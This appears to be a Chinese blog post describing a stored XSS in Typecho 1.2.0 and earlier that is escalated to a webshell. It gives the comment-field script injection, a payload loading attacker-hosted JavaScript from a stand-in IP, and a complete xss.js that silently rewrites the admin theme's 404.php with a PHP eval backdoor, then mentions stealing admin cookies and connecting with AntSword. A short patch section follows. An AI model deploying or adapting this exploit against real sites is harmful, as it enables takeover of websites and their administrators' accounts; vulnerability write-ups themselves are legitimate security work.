【攻防技术】Typecho存储型XSS写入WebShell
2023-04-24 / 0 评论 / 96 阅读 / 12 点赞

【攻防技术】Typecho存储型XSS写入WebShell

发光的神
2023-04-24 / 0 评论 / 96 阅读 / 正在检测是否收录...

影响版本

漏洞影响版本:Typecho <= 1.2.0

漏洞复现

lp53w7cl.png

https://bbskali.cn/"></a><script>alert(1)</script><a/href="#

随便找一篇文章,在评论里插入 js 代码。

lp54dha2.png

可以发现访问,发现成功弹出来了,而且是插入到了数据库中,存储型的 XSS。

lp54h53t.png

访问后台查看评论,也会触发插入的代码,这个时候可以偷取管理员的 cookie,进行登录后台写入一句话木马。

写入webshell

https://bbskali.cn/"></a><script/src="http://192.168.1.14/xss.js"></script><a/href="#

这里我直接利用 js 让管理员登录后台或点击后台评论自己写入webshell,src="http://192.168.1.14/xss.js" 修改成你的公网域名网址。

构造exp

// xss.js
var times = 0;
var g_shell = 0;

function addIframe() {
    var iframe = document.createElement('iframe');
    iframe.id = 'testxss';
    iframe.style.width = '0%';
    iframe.style.height = '0%';
    iframe.onload = processIframe;
    iframe.src = 'http://127.0.0.1/admin/theme-editor.php?theme=default&file=404.php';
    document.body.appendChild(iframe);
}

function processIframe() {
    if (times > 10) {
        return;
    }

    var iframeDocument = document.getElementById('testxss').contentWindow.document;
    var htmldata = iframeDocument.getElementById('content');
    var btn = iframeDocument.getElementsByTagName('button');

    if (htmldata && btn && btn.length > 1) {
        htmldata.innerText = '<?php eval($_POST["sh"]);';
        btn[1].click();
        times++;

        if (g_shell === 1) {
            sendRequest();
        }
    }
}

function sendRequest() {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/usr/themes/default/404.php?shell=1');
    xhr.send();
}

addIframe();

lp55d6ws.png

当管理员访问了后台评论,那么就会写入 webshell 。

lp562tvq.png

可以发现后台默认模板中的 404.php 已经写入了一句话木马,当然看情况网站用了什么主题,路径名称会不一样的自己改改就好。

lp551nvu.png

这个时候用蚁剑就可以进行连接了。

修复方案

更新到 1.2.0 以上的版本,官方已修复。

手动修复

// var/Widget/Base/Comments.php 第 271 行代码
echo '<a href="' . $this->url . '"'
// 修改为以下代码
echo '<a href="' . Common::safeUrl($this->url) . '"'

// var/Widget/Feedback.php 第 209 行代码
$comment['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$comment['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Feedback.php 第 308 行代码
$trackback['url'] = $this->request->filter('trim')->url;
// 修改为以下代码
$trackback['url'] = $this->request->filter('trim', 'url')->url;

// var/Widget/Options.php 第 85 行代码
* @property bool $commentsRequireURL
// 修改为以下代码
* @property bool $commentsRequireUrl

// /var/Typecho/Validate.php 第 99 行代码
return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
// 修改为以下代码
return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
12

评论 (0)

取消
0:00